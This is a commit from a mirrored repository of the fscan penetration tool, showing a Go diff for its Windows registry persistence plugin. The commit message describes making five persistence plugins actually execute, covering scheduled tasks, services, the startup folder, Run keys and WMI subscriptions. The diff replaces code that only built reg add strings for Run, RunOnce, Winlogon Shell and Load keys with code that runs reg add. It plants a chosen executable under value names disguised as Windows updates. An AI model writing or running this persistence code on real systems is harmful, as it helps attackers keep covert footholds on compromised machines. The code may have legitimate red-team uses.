mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
fix: 补全 Windows 持久化插件的执行逻辑
5 个 Windows 持久化插件原先只拼接命令字符串不执行，现全部补上真实执行逻辑： - winschtask: schtasks /create 创建计划任务 - winservice: sc create 创建系统服务 - winstartup: 复制 PE 到启动文件夹 - winregistry: reg add 写入 Run/RunOnce 注册表键 - winwmi: PowerShell 创建 WMI 事件订阅（单次调用，1.2s 完成）
This commit is contained in:
ZacharyZcR
+34
-155
@@ -6,8 +6,8 @@ import (
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"context"
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"fmt"
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"os"
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"os/exec"
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"path/filepath"
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"runtime"
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"strings"
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"github.com/shadow1ng/fscan/common"
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@@ -15,183 +15,62 @@ import (
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"github.com/shadow1ng/fscan/plugins"
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)
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// WinRegistryPlugin Windows注册表持久化插件
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// 设计哲学：直接实现，删除过度设计
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// - 删除复杂的继承体系
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// - 直接实现注册表持久化功能
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// - 保持原有功能逻辑
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type WinRegistryPlugin struct {
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plugins.BasePlugin
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}
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// NewWinRegistryPlugin 创建Windows注册表持久化插件
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func NewWinRegistryPlugin() *WinRegistryPlugin {
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return &WinRegistryPlugin{
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BasePlugin: plugins.NewBasePlugin("winregistry"),
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}
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}
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// Scan 执行Windows注册表持久化 - 直接实现
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func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
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config := session.Config
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_ = session.State
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var output strings.Builder
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if runtime.GOOS != "windows" {
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output.WriteString("Windows注册表持久化只支持Windows平台\n")
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
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}
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}
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// 从config获取配置
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pePath := config.WinPEFile
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pePath := session.Config.WinPEFile
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if pePath == "" {
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output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("未指定PE文件"),
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return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
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}
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if _, err := os.Stat(pePath); err != nil {
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return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
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}
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absPath, _ := filepath.Abs(pePath)
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baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
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entries := []struct {
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key string
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name string
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desc string
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}{
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{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"},
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{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"},
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{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"},
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}
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var output strings.Builder
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var successCount int
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for _, e := range entries {
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out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
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if err != nil {
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output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
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continue
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}
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output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name))
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successCount++
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}
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// 检查目标文件是否存在
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if _, err := os.Stat(pePath); os.IsNotExist(err) {
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output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: err,
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}
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if successCount > 0 {
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common.LogSuccess(i18n.Tr("winregistry_success", successCount))
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}
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// 检查文件类型
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if !p.isValidPEFile(pePath) {
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output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("无效的PE文件"),
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}
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}
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output.WriteString("=== Windows注册表持久化 ===\n")
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output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
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output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
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// 创建注册表持久化
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registryKeys, err := p.createRegistryPersistence(pePath)
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if err != nil {
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output.WriteString(fmt.Sprintf("创建注册表持久化失败: %v\n", err))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: err,
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}
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}
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output.WriteString(fmt.Sprintf("创建了%d个注册表持久化项:\n", len(registryKeys)))
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for i, key := range registryKeys {
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output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, key))
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}
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output.WriteString("\n✓ Windows注册表持久化完成\n")
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common.LogSuccess(i18n.Tr("winregistry_success", len(registryKeys)))
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return &plugins.Result{
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Success: true,
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Success: successCount > 0,
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Type: plugins.ResultTypeService,
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Output: output.String(),
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Error: nil,
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}
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}
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// createRegistryPersistence 创建注册表持久化
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func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) {
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absPath, err := filepath.Abs(pePath)
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if err != nil {
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return nil, fmt.Errorf("failed to get absolute path: %w", err)
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}
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var registryEntries []string
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baseName := filepath.Base(absPath)
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baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
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registryKeys := []struct {
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hive string
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key string
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valueName string
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description string
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}{
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{
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hive: "HKEY_CURRENT_USER",
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key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
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valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt),
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description: "Current User Run Key",
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},
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{
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hive: "HKEY_LOCAL_MACHINE",
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key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
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valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
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description: "Local Machine Run Key",
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},
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{
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hive: "HKEY_CURRENT_USER",
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key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`,
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valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt),
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description: "Current User RunOnce Key",
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},
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{
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hive: "HKEY_LOCAL_MACHINE",
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key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`,
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valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt),
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description: "WOW64 Run Key",
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},
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{
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hive: "HKEY_LOCAL_MACHINE",
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key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`,
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valueName: "Shell",
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description: "Winlogon Shell Override",
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},
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{
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hive: "HKEY_CURRENT_USER",
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key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`,
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valueName: "Load",
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description: "Windows Load Key",
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},
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}
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for _, regKey := range registryKeys {
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var regCommand string
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var value string
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switch regKey.valueName {
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case "Shell":
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value = fmt.Sprintf("explorer.exe,%s", absPath)
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case "Load":
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value = absPath
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default:
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value = fmt.Sprintf(`"%s"`, absPath)
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}
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regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`,
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regKey.hive, regKey.key, regKey.valueName, value)
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registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand))
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}
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return registryEntries, nil
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}
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// isValidPEFile 检查是否为有效的PE文件
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func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool {
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ext := strings.ToLower(filepath.Ext(filePath))
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return ext == ".exe" || ext == ".dll"
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}
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// 注册插件
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func init() {
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RegisterLocalPlugin("winregistry", func() Plugin {
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return NewWinRegistryPlugin()
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